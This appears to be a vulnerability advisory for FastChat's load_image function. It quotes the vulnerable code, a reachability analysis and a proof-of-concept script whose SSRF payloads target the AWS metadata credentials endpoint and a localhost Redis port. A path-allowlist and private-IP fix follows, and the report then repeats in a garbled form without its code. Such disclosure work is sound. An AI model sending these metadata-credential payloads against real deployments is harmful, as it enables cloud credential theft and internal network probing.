Severity
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L (8.6 High)
CWE-918 (Server-Side Request Forgery), with secondary CWE-22 / CWE-73 (Arbitrary Local File Read via path-based dispatch).
Description
fastchat.utils.load_image(image_file) dispatches on string-prefix/suffix heuristics without scheme allowlist, host validation, private-IP block, or path canonicalization. Three branches yield three independent primitives:
image_file.startswith("http://") or .startswith("https://") → requests.get(image_file) → full Server-Side Request Forgery
image_file.lower().endswith(("png","jpg","jpeg","webp","gif")) → Image.open(image_file) → arbitrary local image-file read via extension-gated PIL open
image_file.startswith("data:") or fallthrough → base64.b64decode(image_file) (default validate=False) → decoder-oracle
Vulnerable Code
fastchat/utils.py at lm-sys/FastChat main (HEAD-verified 2026-05-17, ~lines 394-412 in current bundle):
def load_image(image_file):
from PIL import Image
import requests
image = None
if image_file.startswith("http://") or image_file.startswith("https://"):
timeout = int(os.getenv("REQUEST_TIMEOUT", "3"))
response = requests.get(image_file, timeout=timeout)
image = Image.open(BytesIO(response.content))
elif image_file.lower().endswith(("png", "jpg", "jpeg", "webp", "gif")):
image = Image.open(image_file)
elif image_file.startswith("data:"):
image_file = image_file.split(",")[1]
image = Image.open(BytesIO(base64.b64decode(image_file)))
else:
image = Image.open(BytesIO(base64.b64decode(image_file)))
return image
Reachability
load_image is called from documented public flows:
fastchat/conversation.py:441, 454, 614, 624, 643, 657, 467, 481 — save_new_images(), extract_text_and_image_hashes_from_messages(), to_gemini_api_messages()
fastchat/serve/gradio_web_server.py:45 — imports load_image into the public chat-arena Gradio flow
fastchat/serve/api_provider.py:104, 114 — Gemini provider routing
Default deployment exposes both flows without authentication:
fastchat/serve/openai_api_server.py:100-128 starts with api_keys=None → anonymous API server
- Gradio
chat-arena binds 0.0.0.0 → reachable from any network
A user submitting a message with an attacker-controlled image-URL (or a typed string starting with http://) triggers the SSRF.
Proof of Concept
Standalone Python reproducer; requires only pip install fastchat-llm (or local clone):
import sys, requests
calls = []
orig = requests.get
def spy(url, timeout=None, *a, **k):
calls.append(url)
print(f"[+] SSRF fired: {url} (timeout={timeout})")
class R: content = b"\x89PNG\r\n\x1a\n" + b"\x00"*100
return R()
requests.get = spy
from fastchat.utils import load_image
# SSRF → AWS IMDS
try: load_image("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
except Exception: pass
# SSRF → internal Redis / port scan
try: load_image("http://127.0.0.1:6379/")
except Exception: pass
# Arbitrary local file open (extension-gated)
open("/tmp/leak.png","wb").write(b"\x89PNG\r\n\x1a\n" + b"\x00"*100)
try:
img = load_image("/tmp/leak.png")
print(f"[+] Local file open: size={getattr(img,'size',None)}")
except Exception as e:
print(f"[!] PIL parse error after open: {e}")
assert len(calls) == 2, calls
print("[+] PoC OK")
Executed output:
[+] SSRF fired: http://169.254.169.254/latest/meta-data/iam/security-credentials/ (timeout=3)
[+] SSRF fired: http://127.0.0.1:6379/ (timeout=3)
[+] Local file open: size=(1, 1)
[+] PoC OK
Impact
SSRF (primary):
- AWS IMDS / GCP / Azure cloud metadata exfiltration → IAM credential theft → cloud account compromise
- Localhost-only admin panel access (Redis, Elasticsearch, Kibana, internal Jenkins)
- Port scanning via response-timing oracle on the FastChat host's local network
Arbitrary local file read (secondary):
- Any
*.png|jpg|jpeg|webp|gif-suffixed path readable by the server process is opened by PIL
- Image-parser CVEs become reachable from unauthenticated network input (libwebp CVE-2023-4863, libpng heap CVEs)
Decoder oracle (tertiary):
base64.b64decode(..., validate=False) accepts malformed input silently; combined with Image.open(BytesIO(...)) exposes the image parser to bypass-style payloads
Suggested Fix
Add a URL safety check and restrict local-file branch to a configured allowlist directory:
from urllib.parse import urlparse
import ipaddress, socket
from pathlib import Path
ALLOWED_SCHEMES = {"http", "https"}
IMAGE_DIR = Path(os.getenv("FASTCHAT_IMAGE_DIR", "/var/lib/fastchat/images")).resolve()
def _is_safe_url(url: str) -> bool:
p = urlparse(url)
if p.scheme not in ALLOWED_SCHEMES: return False
try:
for fam, _, _, _, sa in socket.getaddrinfo(p.hostname, None):
ip = ipaddress.ip_address(sa[0])
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
return False
except socket.gaierror:
return False
return True
def _is_safe_local(path: str) -> bool:
try:
resolved = (IMAGE_DIR / path).resolve()
return IMAGE_DIR in resolved.parents or resolved == IMAGE_DIR
except (OSError, ValueError):
return False
def load_image(image_file):
from PIL import Image
import requests
if image_file.startswith(("http://", "https://")):
if not _is_safe_url(image_file):
raise ValueError("URL targets internal/private address; refused")
timeout = int(os.getenv("REQUEST_TIMEOUT", "3"))
response = requests.get(image_file, timeout=timeout)
return Image.open(BytesIO(response.content))
if image_file.lower().endswith(("png","jpg","jpeg","webp","gif")):
if not _is_safe_local(image_file):
raise ValueError("Local path outside configured image directory; refused")
return Image.open(image_file)
if image_file.startswith("data:"):
image_file = image_file.split(",", 1)[1]
return Image.open(BytesIO(base64.b64decode(image_file, validate=True)))
return Image.open(BytesIO(base64.b64decode(image_file, validate=True)))
Recommend additionally:
- Make
api_keys=None an opt-in (require explicit --allow-anonymous flag rather than silent default)
- Audit sibling sinks:
controller.py /register_worker unauthenticated by default; model_adapter.py torch.load without weights_only=True
References
Environment
- FastChat trunk HEAD as of 2026-05-17;
fastchat/utils.py:394-412 unchanged from initial reproduction on 2026-05-13
- Verified with
pip install fastchat-llm and from-source clone
- PoC reproduces on Linux + macOS
Reporter: Jaeyoung Yun (GitHub: JAE0Y2N)
Severity
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L (8.6 High)
CWE-918 (Server-Side Request Forgery), with secondary CWE-22 / CWE-73 (Arbitrary Local File Read via path-based dispatch).
Description
fastchat.utils.load_image(image_file)dispatches on string-prefix/suffix heuristics without scheme allowlist, host validation, private-IP block, or path canonicalization. Three branches yield three independent primitives:image_file.startswith("http://") or .startswith("https://")→requests.get(image_file)→ full Server-Side Request Forgeryimage_file.lower().endswith(("png","jpg","jpeg","webp","gif"))→Image.open(image_file)→ arbitrary local image-file read via extension-gated PIL openimage_file.startswith("data:")or fallthrough →base64.b64decode(image_file)(defaultvalidate=False) → decoder-oracleVulnerable Code
fastchat/utils.pyat lm-sys/FastChatmain(HEAD-verified 2026-05-17, ~lines 394-412 in current bundle):Reachability
load_imageis called from documented public flows:fastchat/conversation.py:441, 454, 614, 624, 643, 657, 467, 481—save_new_images(),extract_text_and_image_hashes_from_messages(),to_gemini_api_messages()fastchat/serve/gradio_web_server.py:45— importsload_imageinto the public chat-arena Gradio flowfastchat/serve/api_provider.py:104, 114— Gemini provider routingDefault deployment exposes both flows without authentication:
fastchat/serve/openai_api_server.py:100-128starts withapi_keys=None→ anonymous API serverchat-arenabinds0.0.0.0→ reachable from any networkA user submitting a message with an attacker-controlled image-URL (or a typed string starting with
http://) triggers the SSRF.Proof of Concept
Standalone Python reproducer; requires only
pip install fastchat-llm(or local clone):Executed output:
Impact
SSRF (primary):
Arbitrary local file read (secondary):
*.png|jpg|jpeg|webp|gif-suffixed path readable by the server process is opened by PILDecoder oracle (tertiary):
base64.b64decode(..., validate=False)accepts malformed input silently; combined withImage.open(BytesIO(...))exposes the image parser to bypass-style payloadsSuggested Fix
Add a URL safety check and restrict local-file branch to a configured allowlist directory:
Recommend additionally:
api_keys=Nonean opt-in (require explicit--allow-anonymousflag rather than silent default)controller.py /register_workerunauthenticated by default;model_adapter.pytorch.loadwithoutweights_only=TrueReferences
Environment
fastchat/utils.py:394-412unchanged from initial reproduction on 2026-05-13pip install fastchat-llmand from-source cloneReporter: Jaeyoung Yun (GitHub: JAE0Y2N)